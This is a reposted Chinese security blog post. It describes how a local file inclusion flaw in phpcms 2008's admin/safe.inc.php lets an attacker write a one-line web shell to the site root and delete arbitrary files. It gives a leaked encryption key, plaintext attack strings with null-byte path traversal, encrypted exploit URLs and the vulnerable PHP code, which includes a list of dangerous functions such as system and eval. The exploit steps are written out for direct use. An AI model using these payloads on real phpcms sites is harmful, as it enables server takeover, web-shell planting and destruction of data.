phpcms 本地包含漏洞导致的写 shell 漏洞和删除任意文件漏洞

admin 2021年4月3日18:51:26评论110 views字数 1043阅读3分28秒阅读模式

    by:[email protected]

    phpcms2008 sp2 or sp4 偶没仔细看。phpcms本地包含拿shell的方法,这篇文章接上一个:《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》。

    phpcms本地包含类漏洞,如果该文件包含 /include/common.inc.php 就可以包含执行很多后台才能执行的文件了。

    由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

    admin/safe.inc.php 文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做 safe,但是一点也不 safe。

    公布一个本地包含秒杀拿shell的方法。

    包含:admin/safe.inc.php 文件GET提交一下数据,将在根目录下生成一句话。

    用上一篇得到的密钥$key=’sIpeofogblFVCildZEwe’;,加密如下字符串:

    $evil=’i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=&mod=../../admin/safe.inc.php%00′;

    http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChx

    gNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

    将在根目录下生成一句话木马。

    同理任意文件删除漏洞:

    $evil=’i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00′;

    http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtB

    DwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

    贴上存在漏洞的代码:

admin/safe.inc.php:

//admin/safe.inc.php
defined(‘IN_PHPCMS’) or exit(‘Access Denied’);
// include/common.inc.php 里面声明了常量
// define(‘IN_PHPCMS’, TRUE);

if(empty($action)) $action = “start”;
$safe = cache_read(‘safe.php’);
$filecheck = load(‘filecheck.class.php’);
if(empty($safe))
{
$safe = array (
‘file_type’ => ‘php|js’,
‘code’ => ”,
‘func’ => ‘com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress’,
‘dir’ => $filecheck->checked_dirs()
);
}
switch ($action)
{

case ‘edit_code’:
if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))
{
showmessage(‘修改成功!’);
}
break;

case ‘del_file’:
$file_path = urldecode($files);

if (empty($file_path))
{
showmessage(‘请选择文件’);
}
$file_list = cache_read(‘scan_backdoor.php’);
unset($file_list[$file_path]);
cache_write(‘scan_backdoor.php’,$file_list);
@unlink(PHPCMS_ROOT.$file_path);
showmessage(‘文件删除成功!’, ‘?mod=phpcms&file=safe&action=scan_table’);
break;

文章来源于lcx.cc:phpcms 本地包含漏洞导致的写 shell 漏洞和删除任意文件漏洞

相关推荐: 全能型反汇编引擎 - Capstone-Engine

Capstone是一个轻量级的多平台多架构支持的反汇编框架。支持包括ARM,ARM64,MIPS和x86/x64平台。今天1.0版本正式向公众开放下载,可以在http://www.capstone-engine.org/download.html获取到最新的代…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日18:51:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   phpcms 本地包含漏洞导致的写 shell 漏洞和删除任意文件漏洞http://cn-sec.com/archives/318890.html

发表评论

匿名网友 填写信息